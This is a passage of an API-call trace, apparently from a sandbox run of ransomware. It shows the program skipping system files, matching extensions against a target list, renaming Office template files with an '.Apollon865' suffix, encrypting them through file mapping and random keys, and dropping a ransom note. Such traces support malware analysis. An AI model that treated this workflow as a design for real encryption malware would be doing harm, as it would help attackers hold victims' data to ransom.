	[0065.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0065.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.075] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8eee00, ftCreationTime.dwHighDateTime=0x1c6d84c, ftLastAccessTime.dwLowDateTime=0x14ee4810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8eee00, ftLastWriteTime.dwHighDateTime=0x1c6d84c, nFileSizeHigh=0x0, nFileSizeLow=0x3f6ad, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1100.accdt", cAlternateFileName="1100~1.ACC")) returned 1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2="Apollon865.txt.exe") returned -1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2=".") returned 1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2="..") returned 1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2="windows") returned -1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2="bootmgr") returned -1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2="temp") returned -1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2="pagefile.sys") returned -1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2="boot") returned -1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2="ids.txt") returned -1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2="ntuser.dat") returned -1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2="perflogs") returned -1
	[0065.075] lstrcmpiW (lpString1="1100.accdt", lpString2="MSBuild") returned -1
	[0065.075] lstrlenW (lpString="1100.accdt") returned 10
	[0065.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\107.accdt") returned 69
	[0065.075] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="1100.accdt" | out: lpString1="1100.accdt") returned="1100.accdt"
	[0065.076] lstrlenW (lpString="1100.accdt") returned 10
	[0065.076] lstrlenW (lpString="Apollon865") returned 10
	[0065.076] lstrlenW (lpString=".dll") returned 4
	[0065.076] lstrcmpiW (lpString1="1100.accdt", lpString2=".dll") returned 1
	[0065.076] lstrlenW (lpString=".lnk") returned 4
	[0065.076] lstrcmpiW (lpString1="1100.accdt", lpString2=".lnk") returned 1
	[0065.076] lstrlenW (lpString=".ini") returned 4
	[0065.076] lstrcmpiW (lpString1="1100.accdt", lpString2=".ini") returned 1
	[0065.076] lstrlenW (lpString=".sys") returned 4
	[0065.076] lstrcmpiW (lpString1="1100.accdt", lpString2=".sys") returned 1
	[0065.076] lstrlenW (lpString="1100.accdt") returned 10
	[0065.076] lstrlenW (lpString="bak") returned 3
	[0065.076] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.076] lstrlenW (lpString="ba_") returned 3
	[0065.076] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.076] lstrlenW (lpString="dbb") returned 3
	[0065.076] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.076] lstrlenW (lpString="vmdk") returned 4
	[0065.076] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.076] lstrlenW (lpString="rar") returned 3
	[0065.076] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.076] lstrlenW (lpString="zip") returned 3
	[0065.076] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.076] lstrlenW (lpString="tgz") returned 3
	[0065.076] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.076] lstrlenW (lpString="vbox") returned 4
	[0065.076] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.076] lstrlenW (lpString="vdi") returned 3
	[0065.076] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.076] lstrlenW (lpString="vhd") returned 3
	[0065.076] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.076] lstrlenW (lpString="vhdx") returned 4
	[0065.076] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.076] lstrlenW (lpString="avhd") returned 4
	[0065.077] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.077] lstrlenW (lpString="db") returned 2
	[0065.077] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.077] lstrlenW (lpString="db2") returned 3
	[0065.077] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.077] lstrlenW (lpString="db3") returned 3
	[0065.077] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.077] lstrlenW (lpString="dbf") returned 3
	[0065.077] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.077] lstrlenW (lpString="mdf") returned 3
	[0065.077] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.077] lstrlenW (lpString="mdb") returned 3
	[0065.077] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.077] lstrlenW (lpString="sql") returned 3
	[0065.077] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.077] lstrlenW (lpString="sqlite") returned 6
	[0065.077] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.077] lstrlenW (lpString="sqlite3") returned 7
	[0065.077] lstrcmpiW (lpString1="0.accdt", lpString2="sqlite3") returned -1
	[0065.077] lstrlenW (lpString="sqlitedb") returned 8
	[0065.077] lstrcmpiW (lpString1="00.accdt", lpString2="sqlitedb") returned -1
	[0065.077] lstrlenW (lpString="xml") returned 3
	[0065.077] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.077] lstrlenW (lpString="$er") returned 3
	[0065.077] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.077] lstrlenW (lpString="4dd") returned 3
	[0065.077] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.077] lstrlenW (lpString="4dl") returned 3
	[0065.077] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.077] lstrlenW (lpString="^^^") returned 3
	[0065.077] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.077] lstrlenW (lpString="abs") returned 3
	[0065.077] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.078] lstrlenW (lpString="abx") returned 3
	[0065.078] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.078] lstrlenW (lpString="accdb") returned 5
	[0065.078] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.078] lstrlenW (lpString="accdc") returned 5
	[0065.078] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.078] lstrlenW (lpString="accde") returned 5
	[0065.078] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.078] lstrlenW (lpString="accdr") returned 5
	[0065.078] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.078] lstrlenW (lpString="accdt") returned 5
	[0065.078] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.078] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt.Apollon865") returned 81
	[0065.078] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0065.079] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=259757) returned 1
	[0065.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.079] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0065.079] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0065.080] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.080] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0065.080] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f9b0, lpName=0x0) returned 0x150
	[0065.081] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f9b0) returned 0x120000
	[0065.094] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0065.094] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.094] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0065.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.094] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.094] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0065.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0065.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.095] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0065.097] CloseHandle (hObject=0x150) returned 1
	[0065.097] CloseHandle (hObject=0xc0) returned 1
	[0065.097] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0065.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0065.099] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ed7b850, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3ed7b850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0065.099] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0065.099] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ed7b850, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3ed7b850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0065.099] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0065.099] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd70
	[0065.099] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part"
	[0065.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0065.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0065.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned 60
	[0065.099] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part" | out: lpString1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part"
	[0065.099] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0065.099] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0065.105] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0065.105] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3ee13dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ee13dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0065.105] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.105] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0065.105] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0065.105] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14fa2ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3ee13dd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3ee13dd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0065.105] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.105] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0065.105] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0065.105] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0065.105] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bae3a00, ftCreationTime.dwHighDateTime=0x1caa4fd, ftLastAccessTime.dwLowDateTime=0x14fa2ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bae3a00, ftLastWriteTime.dwHighDateTime=0x1caa4fd, nFileSizeHigh=0x0, nFileSizeLow=0x5fda, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1 Right.accdt", cAlternateFileName="1RIGHT~1.ACC")) returned 1
	[0065.105] lstrcmpiW (lpString1="1 Right.accdt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0065.105] lstrcmpiW (lpString1="1 Right.accdt", lpString2="Apollon865.txt.exe") returned -1
	[0065.105] lstrcmpiW (lpString1="1 Right.accdt", lpString2=".") returned 1
	[0065.105] lstrcmpiW (lpString1="1 Right.accdt", lpString2="..") returned 1
	[0065.105] lstrcmpiW (lpString1="1 Right.accdt", lpString2="windows") returned -1
	[0065.105] lstrcmpiW (lpString1="1 Right.accdt", lpString2="bootmgr") returned -1
	[0065.105] lstrcmpiW (lpString1="1 Right.accdt", lpString2="temp") returned -1
	[0065.105] lstrcmpiW (lpString1="1 Right.accdt", lpString2="pagefile.sys") returned -1
	[0065.105] lstrcmpiW (lpString1="1 Right.accdt", lpString2="boot") returned -1
	[0065.105] lstrcmpiW (lpString1="1 Right.accdt", lpString2="ids.txt") returned -1
	[0065.105] lstrcmpiW (lpString1="1 Right.accdt", lpString2="ntuser.dat") returned -1
	[0065.105] lstrcmpiW (lpString1="1 Right.accdt", lpString2="perflogs") returned -1
	[0065.106] lstrcmpiW (lpString1="1 Right.accdt", lpString2="MSBuild") returned -1
	[0065.106] lstrlenW (lpString="1 Right.accdt") returned 13
	[0065.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\*") returned 62
	[0065.106] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="1 Right.accdt" | out: lpString1="1 Right.accdt") returned="1 Right.accdt"
	[0065.106] lstrlenW (lpString="1 Right.accdt") returned 13
	[0065.106] lstrlenW (lpString="Apollon865") returned 10
	[0065.106] lstrcmpiW (lpString1="ight.accdt", lpString2="Apollon865") returned 1
	[0065.106] lstrlenW (lpString=".dll") returned 4
	[0065.106] lstrcmpiW (lpString1="1 Right.accdt", lpString2=".dll") returned 1
	[0065.106] lstrlenW (lpString=".lnk") returned 4
	[0065.106] lstrcmpiW (lpString1="1 Right.accdt", lpString2=".lnk") returned 1
	[0065.106] lstrlenW (lpString=".ini") returned 4
	[0065.106] lstrcmpiW (lpString1="1 Right.accdt", lpString2=".ini") returned 1
	[0065.106] lstrlenW (lpString=".sys") returned 4
	[0065.106] lstrcmpiW (lpString1="1 Right.accdt", lpString2=".sys") returned 1
	[0065.106] lstrlenW (lpString="1 Right.accdt") returned 13
	[0065.106] lstrlenW (lpString="bak") returned 3
	[0065.106] lstrcmpiW (lpString1="cdt", lpString2="bak") returned 1
	[0065.106] lstrlenW (lpString="ba_") returned 3
	[0065.106] lstrcmpiW (lpString1="cdt", lpString2="ba_") returned 1
	[0065.106] lstrlenW (lpString="dbb") returned 3
	[0065.106] lstrcmpiW (lpString1="cdt", lpString2="dbb") returned -1
	[0065.106] lstrlenW (lpString="vmdk") returned 4
	[0065.106] lstrcmpiW (lpString1="ccdt", lpString2="vmdk") returned -1
	[0065.106] lstrlenW (lpString="rar") returned 3
	[0065.106] lstrcmpiW (lpString1="cdt", lpString2="rar") returned -1
	[0065.106] lstrlenW (lpString="zip") returned 3
	[0065.106] lstrcmpiW (lpString1="cdt", lpString2="zip") returned -1
	[0065.106] lstrlenW (lpString="tgz") returned 3
	[0065.106] lstrcmpiW (lpString1="cdt", lpString2="tgz") returned -1
	[0065.106] lstrlenW (lpString="vbox") returned 4
	[0065.106] lstrcmpiW (lpString1="ccdt", lpString2="vbox") returned -1
	[0065.106] lstrlenW (lpString="vdi") returned 3
	[0065.106] lstrcmpiW (lpString1="cdt", lpString2="vdi") returned -1
	[0065.107] lstrlenW (lpString="vhd") returned 3
	[0065.107] lstrcmpiW (lpString1="cdt", lpString2="vhd") returned -1
	[0065.107] lstrlenW (lpString="vhdx") returned 4
	[0065.107] lstrcmpiW (lpString1="ccdt", lpString2="vhdx") returned -1
	[0065.107] lstrlenW (lpString="avhd") returned 4
	[0065.107] lstrcmpiW (lpString1="ccdt", lpString2="avhd") returned 1
	[0065.107] lstrlenW (lpString="db") returned 2
	[0065.107] lstrcmpiW (lpString1="dt", lpString2="db") returned 1
	[0065.107] lstrlenW (lpString="db2") returned 3
	[0065.107] lstrcmpiW (lpString1="cdt", lpString2="db2") returned -1
	[0065.107] lstrlenW (lpString="db3") returned 3
	[0065.107] lstrcmpiW (lpString1="cdt", lpString2="db3") returned -1
	[0065.107] lstrlenW (lpString="dbf") returned 3
	[0065.107] lstrcmpiW (lpString1="cdt", lpString2="dbf") returned -1
	[0065.107] lstrlenW (lpString="mdf") returned 3
	[0065.107] lstrcmpiW (lpString1="cdt", lpString2="mdf") returned -1
	[0065.107] lstrlenW (lpString="mdb") returned 3
	[0065.107] lstrcmpiW (lpString1="cdt", lpString2="mdb") returned -1
	[0065.107] lstrlenW (lpString="sql") returned 3
	[0065.107] lstrcmpiW (lpString1="cdt", lpString2="sql") returned -1
	[0065.107] lstrlenW (lpString="sqlite") returned 6
	[0065.107] lstrcmpiW (lpString1=".accdt", lpString2="sqlite") returned -1
	[0065.107] lstrlenW (lpString="sqlite3") returned 7
	[0065.107] lstrcmpiW (lpString1="t.accdt", lpString2="sqlite3") returned 1
	[0065.107] lstrlenW (lpString="sqlitedb") returned 8
	[0065.107] lstrcmpiW (lpString1="ht.accdt", lpString2="sqlitedb") returned -1
	[0065.107] lstrlenW (lpString="xml") returned 3
	[0065.107] lstrcmpiW (lpString1="cdt", lpString2="xml") returned -1
	[0065.107] lstrlenW (lpString="$er") returned 3
	[0065.107] lstrcmpiW (lpString1="cdt", lpString2="$er") returned 1
	[0065.107] lstrlenW (lpString="4dd") returned 3
	[0065.107] lstrcmpiW (lpString1="cdt", lpString2="4dd") returned 1
	[0065.107] lstrlenW (lpString="4dl") returned 3
	[0065.107] lstrcmpiW (lpString1="cdt", lpString2="4dl") returned 1
	[0065.108] lstrlenW (lpString="^^^") returned 3
	[0065.108] lstrcmpiW (lpString1="cdt", lpString2="^^^") returned 1
	[0065.108] lstrlenW (lpString="abs") returned 3
	[0065.108] lstrcmpiW (lpString1="cdt", lpString2="abs") returned 1
	[0065.108] lstrlenW (lpString="abx") returned 3
	[0065.108] lstrcmpiW (lpString1="cdt", lpString2="abx") returned 1
	[0065.108] lstrlenW (lpString="accdb") returned 5
	[0065.108] lstrcmpiW (lpString1="accdt", lpString2="accdb") returned 1
	[0065.108] lstrlenW (lpString="accdc") returned 5
	[0065.108] lstrcmpiW (lpString1="accdt", lpString2="accdc") returned 1
	[0065.108] lstrlenW (lpString="accde") returned 5
	[0065.108] lstrcmpiW (lpString1="accdt", lpString2="accde") returned 1
	[0065.108] lstrlenW (lpString="accdr") returned 5
	[0065.108] lstrcmpiW (lpString1="accdt", lpString2="accdr") returned 1
	[0065.108] lstrlenW (lpString="accdt") returned 5
	[0065.108] lstrcmpiW (lpString1="accdt", lpString2="accdt") returned 0
	[0065.108] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt.Apollon865") returned 85
	[0065.108] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 right.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 right.accdt.apollon865"), dwFlags=0x1) returned 1
	[0065.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\Part\\1 Right.accdt.Apollon865" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\part\\1 right.accdt.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0065.109] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=24538) returned 1
	[0065.109] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0065.109] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0065.109] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0065.109] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0065.110] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0065.110] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.110] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x62e0, lpName=0x0) returned 0x150
	[0065.112] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x62e0) returned 0x100000
	[0065.113] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0065.114] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0065.114] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0065.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0065.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0065.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0065.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0065.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0065.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0065.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0065.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0065.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0065.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0065.115] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0065.126] CloseHandle (hObject=0x150) returned 1
	[0065.126] CloseHandle (hObject=0x118) returned 1
	[0065.126] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0065.126] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
